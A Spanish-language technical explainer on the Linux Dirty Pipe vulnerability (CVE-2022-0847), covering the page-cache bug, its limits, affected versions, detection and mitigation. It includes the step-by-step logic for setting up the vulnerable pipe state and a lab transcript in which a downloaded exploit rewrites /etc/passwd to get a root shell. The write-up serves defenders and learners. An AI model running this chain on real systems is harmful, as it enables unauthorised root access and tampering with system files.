1. Descripción técnica del ataque
Dirty Pipe es el nombre de CVE-2022-0847, una vulnerabilidad del kernel de Linux que permite a un usuario local sin privilegios sobrescribir contenido del page cache asociado a archivos que sólo puede abrir para lectura. De esta forma evita las comprobaciones de escritura normales del sistema de archivos y puede alterar archivos inmutables, ubicados en snapshots de sólo lectura o montados como sólo lectura.
La vulnerabilidad no concede privilegios de root automáticamente. Proporciona un primitive de sobrescritura que puede convertirse en escalada de privilegios cuando el atacante modifica datos que después consume un proceso privilegiado, como una entrada de /etc/passwd o el código de un binario SUID. La explotación conocida no depende de una condición de carrera. Investigación original de Max Kellermann.
1.1. Pipes, page cache y splice()
Antes de explicar el fallo conviene distinguir sus componentes:
| Concepto | Función normal | Relevancia para Dirty Pipe |
|---|---|---|
| Pipe | Canal unidireccional que transporta datos entre procesos | El kernel representa su contenido mediante un anillo de struct pipe_buffer |
pipe_buffer | Describe una región de una página y cómo debe manejarla la pipe | Su campo flags determina, entre otras cosas, si otra escritura puede añadirse al mismo buffer |
| Page cache | Mantiene en memoria páginas de archivos para acelerar las operaciones de entrada y salida | La página objetivo pertenece al archivo, aunque una pipe conserve una referencia a ella |
splice() | Transfiere datos entre un archivo y una pipe sin copiarlos primero a espacio de usuario | Puede insertar en la pipe una referencia directa a una página del page cache |
PIPE_BUF_FLAG_CAN_MERGE | Autoriza a fusionar una escritura nueva con el último buffer de la pipe | Si permanece activo sobre una referencia al page cache, la escritura termina en la página del archivo |
Cuando se escribe normalmente en una pipe, el kernel puede reutilizar el espacio restante de su última página. En cambio, después de incorporar datos de un archivo mediante splice(), el último pipe_buffer referencia una página que pertenece al page cache. Una escritura posterior no debe fusionarse con esa página.
El límite de confianza se encuentra entre dos recursos con reglas diferentes: el proceso sólo tiene acceso de lectura al archivo, pero sí puede escribir en su propia pipe. El kernel debe impedir que esa capacidad de escritura se propague a la página de archivo referenciada por la pipe.
1.2. El fallo de inicialización
Las funciones copy_page_to_iter_pipe() y push_pipe() creaban entradas de pipe_buffer sin inicializar correctamente el miembro flags. Al reutilizar una posición del anillo, esa estructura podía conservar un valor anterior.
El comportamiento se volvió explotable con Linux 5.8, cuando el commit f6dd975583bd introdujo el flag por buffer PIPE_BUF_FLAG_CAN_MERGE. El problema de inicialización era anterior, pero desde ese cambio un valor residual concreto podía indicar erróneamente que una página del page cache era fusionable. Historia técnica documentada por el descubridor.
La preparación del estado vulnerable sigue esta lógica:
- Se crea una pipe.
- Se llena por completo para que sus entradas se utilicen como buffers anónimos y reciban
PIPE_BUF_FLAG_CAN_MERGE. - Se vacía la pipe. Las posiciones quedan disponibles, pero sus flags residuales no se limpian.
- Se usa
splice()para insertar un byte del archivo objetivo, abierto conO_RDONLY, justo antes del offset que se quiere alterar. - La nueva entrada referencia el page cache del archivo, pero hereda el flag residual.
- Una escritura en la pipe se fusiona con esa entrada y modifica la página de archivo en memoria.
// renderizando diagrama…
El parche inicializa flags al crear esas entradas, eliminando el estado residual. El cambio upstream corresponde al commit 9d2231c5d74e.
1.3. Límites del primitive
La prueba de concepto original documenta cuatro restricciones:
- El atacante debe poder abrir el archivo para lectura, porque necesita pasarlo a
splice(). - El offset inicial no puede coincidir con el comienzo de una página; primero debe incorporarse al menos un byte de esa página a la pipe.
- La sobrescritura no puede cruzar el límite de una página.
- No se puede ampliar el archivo; el rango modificado debe existir dentro de su tamaño actual.
El tamaño habitual de página es 4096 bytes, pero no debe asumirse sin comprobar la arquitectura. Estas restricciones afectan a cada escritura concreta y obligan a elegir un contenido que encaje en el espacio disponible.
1.4. Memoria frente a persistencia en disco
Dirty Pipe altera primero el page cache. Una lectura posterior puede devolver el contenido manipulado aunque el archivo sea de sólo lectura. Sin embargo, esa escritura no marca por sí sola la página como sucia, por lo que el cambio puede desaparecer cuando la página sea expulsada de la caché o después de reiniciar.
El contenido también puede terminar en disco si la página se ensucia por otra operación y luego se escribe al almacenamiento. Por tanto, no es correcto describir todas las explotaciones como una modificación necesariamente persistente ni asumir que nunca dejan cambios en disco. Análisis del descubridor, boletín de Red Hat.
2. Impacto y alcance
El efecto inmediato es una violación de integridad: una cuenta con lectura puede cambiar la vista compartida de un archivo sin autorización de escritura. El impacto final depende del archivo elegido y del componente que lo utilice.
| Objetivo alterado | Consecuencia posible | Condición adicional |
|---|---|---|
/etc/passwd | Crear o transformar una cuenta con UID 0 y facilitar una shell privilegiada | La modificación debe conservar un formato válido y permitir la autenticación prevista |
| Binario SUID | Ejecutar código cuando el binario se invoque con privilegios elevados | El archivo debe ser legible, el payload debe caber y el binario debe ejecutarse antes de perderse el cambio |
| Archivo de configuración privilegiado | Cambiar el comportamiento de un servicio | El servicio debe volver a leer la configuración manipulada |
| Archivo de datos | Corrupción o alteración de resultados | Otro proceso debe consumir la página modificada |
Una coincidencia de versión no demuestra que se haya alcanzado root. Tampoco toda sobrescritura produce ejecución de código: la escalada requiere una cadena concreta entre el archivo modificado y un consumidor privilegiado.
Aunque el registro CVE asigna impacto alto en confidencialidad, integridad y disponibilidad, la confidencialidad no procede de una lectura arbitraria directa. Es una consecuencia del control posterior que podría obtenerse al convertir la sobrescritura en escalada de privilegios.
3. Historia y versiones afectadas
- 19 de febrero de 2022: Max Kellermann identifica la corrupción como un fallo del kernel y prepara una reproducción.
- 20 de febrero de 2022: comunica el informe, la prueba de concepto y el parche al equipo de seguridad del kernel.
- 23 de febrero de 2022: aparecen las primeras versiones estables corregidas: 5.16.11, 5.15.25 y 5.10.102.
- 7 de marzo de 2022: se publica la investigación de Dirty Pipe.
La cadena conocida se vuelve explotable desde Linux 5.8. Para las ramas estables mantenidas en ese momento, las primeras versiones upstream corregidas fueron:
| Rama | Primera versión corregida |
|---|---|
| 5.10 LTS | 5.10.102 |
| 5.15 LTS | 5.15.25 |
| 5.16 | 5.16.11 |
Las ramas intermedias desde 5.8 que no recibieron ese parche deben sustituirse por una versión mantenida y corregida. Estos números describen el kernel upstream, no todos los paquetes de las distribuciones.
La versión mostrada por
unameno basta Las distribuciones suelen aplicar parches sin cambiar al número upstream que aparece en una tabla general. También pueden omitir o adaptar el commit que habilita la cadena conocida. Red Hat, por ejemplo, documentó que los exploits públicos basados enPIPE_BUF_FLAG_CAN_MERGEno funcionaban en su kernel de RHEL 8 aunque el fallo subyacente estuviera presente. La exposición debe resolverse con el aviso y el paquete concreto del proveedor.
4. Condiciones necesarias
Para reproducir la cadena de explotación pública deben cumplirse estas condiciones:
- El atacante ya puede ejecutar código local sin privilegios en el sistema o en un entorno que comparta el kernel vulnerable.
- El kernel en ejecución contiene el fallo y la funcionalidad que hace explotable
PIPE_BUF_FLAG_CAN_MERGE. - El archivo objetivo puede abrirse para lectura desde el contexto del atacante.
- El rango elegido respeta los límites de offset, página y tamaño del archivo.
- Existe un consumidor privilegiado o una ruta de autenticación que transforma la alteración en el impacto buscado.
Poder compilar un PoC en el host facilita la explotación, pero no es una condición del fallo: un binario compatible también podría prepararse fuera del sistema. Del mismo modo, estar dentro de un contenedor no implica aislamiento frente a esta clase de error si comparte un kernel vulnerable; el alcance dependerá de los archivos visibles y de las restricciones del contenedor.
5. Detección y validación
5.1. Evaluar la exposición
Estos comandos reúnen el kernel en ejecución y la distribución:
uname -r
cat /etc/os-releaseuname -r devuelve la identificación del build activo. /etc/os-release permite seleccionar el aviso correcto del proveedor. Después hay que comprobar si el paquete instalado incluye la corrección de CVE-2022-0847 y reiniciar si se instaló un kernel nuevo que todavía no está en ejecución.
Una versión upstream entre 5.8 y los primeros parches justifica investigar, pero no confirma por sí sola la exposición de un kernel distribuido. Herramientas como LinPEAS o Linux Exploit Suggester aportan candidatos basados en versión; su resultado también requiere contrastar el paquete y los backports del proveedor.
En un laboratorio autorizado, una prueba controlada puede confirmar el comportamiento del kernel, pero debe usar un archivo descartable. Probar contra /etc/passwd, un binario SUID u otro archivo del sistema convierte una validación en una modificación de alto impacto.
5.2. Buscar indicios de explotación
Dirty Pipe no genera un registro de auditoría específico. Además, una alteración del page cache puede ser efímera y no actualizar el archivo en disco ni sus metadatos de la forma esperada. La ausencia de cambios persistentes no descarta la explotación.
Conviene correlacionar, si la telemetría ya existe:
- Ejecución o compilación de binarios desconocidos desde
/tmp,/dev/shmu otras rutas temporales. - Procesos locales que abren archivos sensibles para lectura y realizan operaciones de pipe y
splice()inmediatamente antes de una anomalía. - Ejecuciones inusuales de
su, binarios SUID o servicios privilegiados después de actividad sospechosa. - Contenido de archivos críticos que no coincide con una copia confiable, especialmente si sus permisos o tiempos no explican el cambio.
- Procesos privilegiados cuyo ejecutable o configuración observada no coincide con el artefacto esperado.
Las llamadas a pipe(), splice() y write() son legítimas y frecuentes. Por separado no identifican un ataque; la secuencia, el archivo objetivo, el proceso y el contexto temporal son los que aportan valor.
6. Explotación documentada en Bah de HackMyVM
La evidencia siguiente procede de 072-bah. La máquina documenta la variante que altera /etc/passwd; no demuestra que todos los sistemas candidatos sean explotables de la misma forma.
Desde una sesión local como qpmadmin, se descarga y compila una PoC de terceros. Antes de ejecutarla se guarda una copia del archivo objetivo:
qpmadmin@bah:/tmp$ wget https://raw.githubusercontent.com/Al1ex/CVE-2022-0847/main/exp.cn/exp.c
qpmadmin@bah:/tmp$ cp /etc/passwd /tmp/passwd.bak
qpmadmin@bah:/tmp$ gcc exp.c -o exp
qpmadmin@bah:/tmp$ ./exp /etc/passwd 1 ootz:
It worked!
qpmadmin@bah:/tmp$ su rootz
rootz@bah:/tmp#El PoC escribe ootz: desde el offset 1. Sobre una entrada inicial con la forma root:x:0:0:..., el primer carácter r permanece intacto y el rango siguiente se sustituye. El resultado comienza por rootz::0:0:...: cambia el nombre de la cuenta a rootz, deja vacío su campo de contraseña y conserva UID y GID 0.
La respuesta It worked! pertenece a la herramienta y sólo indica que terminó su operación. La evidencia de impacto es que su rootz abre una sesión cuyo prompt es rootz@bah; combinada con la entrada UID 0, documenta la escalada en este laboratorio.
La copia /tmp/passwd.bak reduce el riesgo de perder el contenido original, pero el writeup no muestra su restauración. Tampoco registra el número exacto del kernel, por lo que no debe inventarse a partir del éxito del exploit.
7. Mitigación
- Instalar el kernel corregido de la distribución. Usar el aviso del proveedor y no elegir el paquete sólo por la comparación con números upstream.
- Reiniciar el sistema. Instalar el paquete no sustituye el kernel que ya está cargado en memoria.
- Verificar el kernel activo. Repetir
uname -ry contrastar el build en ejecución con el paquete corregido. - Revisar la integridad si hubo exposición. Comparar archivos críticos con fuentes confiables y evaluar actividad de cuentas o procesos privilegiados durante el periodo vulnerable.
No existe un sysctl conocido que corrija la causa. SELinux, los permisos tradicionales, los atributos de archivo inmutable y los montajes de sólo lectura no bloquean el primitive porque la alteración ocurre dentro del manejo del page cache. Reducir el acceso local y los archivos visibles limita oportunidades, pero no sustituye la actualización. Orientación de Ubuntu, boletín de Red Hat.
8. Clasificación
| Campo | Clasificación |
|---|---|
| Nombre | Dirty Pipe |
| CVE | CVE-2022-0847 |
| Tipo | Page cache overwrite con escalada local de privilegios |
| CWE principal | CWE-665, Improper Initialization |
| Consecuencia relacionada | CWE-281, Improper Preservation of Permissions |
| Severidad | CVSS 3.1: 7.8, High |
| Vector | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Acceso requerido | Ejecución local con privilegios bajos y lectura sobre el archivo objetivo |
| Interacción de otra persona | No requerida |
El registro CVE expresa la relación como CWE-665 -> CWE-281: una inicialización incorrecta permite conservar permisos o propiedades de fusión que no corresponden al nuevo buffer. Registro CVE en formato CVE JSON 5, CWE-665, CWE-281.
El vector CVSS indica ataque local (AV:L), complejidad baja (AC:L), privilegios previos bajos (PR:L), ausencia de interacción de otra persona (UI:N) y posibles impactos altos en confidencialidad, integridad y disponibilidad.
9. Referencias y conexiones
- Writeup base: Bah de HackMyVM.
- Dirty COW (CVE-2016-5195), vulnerabilidad distinta que también afecta archivos de sólo lectura, pero explota una condición de carrera en copy-on-write.
- Looney Tunables (CVE-2023-4911) (CVE-2023-4911), otra escalada local de privilegios en Linux con un mecanismo diferente.
- CVE Program: registro de CVE-2022-0847.
- Max Kellermann: investigación y PoC original de Dirty Pipe.
- Linux kernel: commit correctivo
9d2231c5d74e. - Ubuntu: análisis de Dirty Pipe y paquetes corregidos.
- Red Hat: boletín técnico RHSB-2022-002.
- MITRE: CWE-665, Improper Initialization.
- MITRE: CWE-281, Improper Preservation of Permissions.